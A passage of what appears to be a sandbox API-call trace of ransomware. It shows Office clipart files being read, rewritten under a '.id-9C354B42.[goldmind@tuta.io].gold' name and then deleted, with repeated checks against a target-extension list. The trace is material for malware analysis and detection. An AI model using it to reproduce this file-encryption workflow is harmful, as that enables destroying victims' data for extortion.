(in: hFile=0x188, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x6906, lpOverlapped=0x0) returned 1 [0051.030] WriteFile (in: hFile=0x21c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x6910, lpOverlapped=0x0) returned 1 [0051.031] ReadFile (in: hFile=0x188, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.031] WriteFile (in: hFile=0x21c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.031] SetEndOfFile (hFile=0x21c) returned 1 [0051.031] CloseHandle (hObject=0x21c) returned 1 [0051.032] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.032] SetEndOfFile (hFile=0x188) returned 1 [0051.032] CloseHandle (hObject=0x188) returned 1 [0051.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0051.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.033] lstrlenW (lpString=".doc") returned 4 [0051.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.033] lstrlenW (lpString=".docx") returned 5 [0051.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.033] lstrlenW (lpString=".pdf") returned 4 [0051.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.033] lstrlenW (lpString=".xls") returned 4 [0051.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.033] lstrlenW (lpString=".xlsx") returned 5 [0051.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.033] lstrlenW (lpString=".ppt") returned 4 [0051.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.033] lstrlenW (lpString=".zip") returned 4 [0051.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.033] lstrlenW (lpString=".rar") returned 4 [0051.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.033] lstrlenW (lpString=".bz2") returned 4 [0051.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.033] lstrlenW (lpString=".7z") returned 3 [0051.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.033] lstrlenW (lpString=".dbf") returned 4 [0051.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.033] lstrlenW (lpString=".1cd") returned 4 [0051.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.033] lstrlenW (lpString=".jpg") returned 4 [0051.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.034] lstrlenW (lpString=".doc") returned 4 [0051.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.034] lstrlenW (lpString=".docx") returned 5 [0051.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.034] lstrlenW (lpString=".pdf") returned 4 [0051.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.034] lstrlenW (lpString=".xls") returned 4 [0051.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.034] lstrlenW (lpString=".xlsx") returned 5 [0051.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.034] lstrlenW (lpString=".ppt") returned 4 [0051.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.034] lstrlenW (lpString=".zip") returned 4 [0051.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.034] lstrlenW (lpString=".rar") returned 4 [0051.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.034] lstrlenW (lpString=".bz2") returned 4 [0051.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.034] lstrlenW (lpString=".7z") returned 3 [0051.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.034] lstrlenW (lpString=".dbf") returned 4 [0051.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.034] lstrlenW (lpString=".1cd") returned 4 [0051.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0051.034] lstrlenW (lpString=".jpg") returned 4 [0051.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.034] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.034] lstrlenW (lpString="BD00160_.WMF") returned 12 [0051.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.035] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=22516) returned 1 [0051.035] CloseHandle (hObject=0x214) returned 1 [0051.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0051.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.036] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.036] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.036] GetLastError () returned 0x0 [0051.036] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x57f4, lpOverlapped=0x0) returned 1 [0051.037] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x5800, lpOverlapped=0x0) returned 1 [0051.038] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.038] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.038] SetEndOfFile (hFile=0x188) returned 1 [0051.039] CloseHandle (hObject=0x188) returned 1 [0051.039] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.039] SetEndOfFile (hFile=0x214) returned 1 [0051.039] CloseHandle (hObject=0x214) returned 1 [0051.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.040] lstrlenW (lpString=".doc") returned 4 [0051.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.040] lstrlenW (lpString=".docx") returned 5 [0051.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.040] lstrlenW (lpString=".pdf") returned 4 [0051.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.040] lstrlenW (lpString=".xls") returned 4 [0051.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.040] lstrlenW (lpString=".xlsx") returned 5 [0051.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.040] lstrlenW (lpString=".ppt") returned 4 [0051.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.040] lstrlenW (lpString=".zip") returned 4 [0051.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.040] lstrlenW (lpString=".rar") returned 4 [0051.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.040] lstrlenW (lpString=".bz2") returned 4 [0051.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.040] lstrlenW (lpString=".7z") returned 3 [0051.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.040] lstrlenW (lpString=".dbf") returned 4 [0051.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.040] lstrlenW (lpString=".1cd") returned 4 [0051.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.040] lstrlenW (lpString=".jpg") returned 4 [0051.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.041] lstrlenW (lpString=".doc") returned 4 [0051.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.041] lstrlenW (lpString=".docx") returned 5 [0051.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.041] lstrlenW (lpString=".pdf") returned 4 [0051.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.041] lstrlenW (lpString=".xls") returned 4 [0051.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.041] lstrlenW (lpString=".xlsx") returned 5 [0051.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.041] lstrlenW (lpString=".ppt") returned 4 [0051.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.041] lstrlenW (lpString=".zip") returned 4 [0051.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.041] lstrlenW (lpString=".rar") returned 4 [0051.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.041] lstrlenW (lpString=".bz2") returned 4 [0051.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.041] lstrlenW (lpString=".7z") returned 3 [0051.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.041] lstrlenW (lpString=".dbf") returned 4 [0051.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.041] lstrlenW (lpString=".1cd") returned 4 [0051.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0051.041] lstrlenW (lpString=".jpg") returned 4 [0051.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.041] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.041] lstrlenW (lpString="BD00173_.WMF") returned 12 [0051.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.042] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=16180) returned 1 [0051.042] CloseHandle (hObject=0x214) returned 1 [0051.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0051.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.042] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.042] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.043] GetLastError () returned 0x0 [0051.043] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x3f34, lpOverlapped=0x0) returned 1 [0051.044] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0051.045] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.045] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.045] SetEndOfFile (hFile=0x188) returned 1 [0051.045] CloseHandle (hObject=0x188) returned 1 [0051.046] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.046] SetEndOfFile (hFile=0x214) returned 1 [0051.046] CloseHandle (hObject=0x214) returned 1 [0051.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.047] lstrlenW (lpString=".doc") returned 4 [0051.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString=".docx") returned 5 [0051.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.047] lstrlenW (lpString=".pdf") returned 4 [0051.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString=".xls") returned 4 [0051.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.047] lstrlenW (lpString=".xlsx") returned 5 [0051.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.047] lstrlenW (lpString=".ppt") returned 4 [0051.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.047] lstrlenW (lpString=".zip") returned 4 [0051.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.047] lstrlenW (lpString=".rar") returned 4 [0051.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString=".bz2") returned 4 [0051.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString=".7z") returned 3 [0051.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.047] lstrlenW (lpString=".dbf") returned 4 [0051.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.047] lstrlenW (lpString=".1cd") returned 4 [0051.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.047] lstrlenW (lpString=".jpg") returned 4 [0051.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.047] lstrlenW (lpString=".doc") returned 4 [0051.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString=".docx") returned 5 [0051.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.047] lstrlenW (lpString=".pdf") returned 4 [0051.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.047] lstrlenW (lpString=".xls") returned 4 [0051.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.047] lstrlenW (lpString=".xlsx") returned 5 [0051.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.048] lstrlenW (lpString=".ppt") returned 4 [0051.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.048] lstrlenW (lpString=".zip") returned 4 [0051.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.048] lstrlenW (lpString=".rar") returned 4 [0051.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.048] lstrlenW (lpString=".bz2") returned 4 [0051.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.048] lstrlenW (lpString=".7z") returned 3 [0051.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.048] lstrlenW (lpString=".dbf") returned 4 [0051.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.048] lstrlenW (lpString=".1cd") returned 4 [0051.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0051.048] lstrlenW (lpString=".jpg") returned 4 [0051.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.048] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.048] lstrlenW (lpString="BD05119_.WMF") returned 12 [0051.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.048] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=17236) returned 1 [0051.048] CloseHandle (hObject=0x214) returned 1 [0051.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0051.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.049] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.049] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.049] GetLastError () returned 0x0 [0051.049] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4354, lpOverlapped=0x0) returned 1 [0051.050] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4360, lpOverlapped=0x0) returned 1 [0051.051] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.051] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, 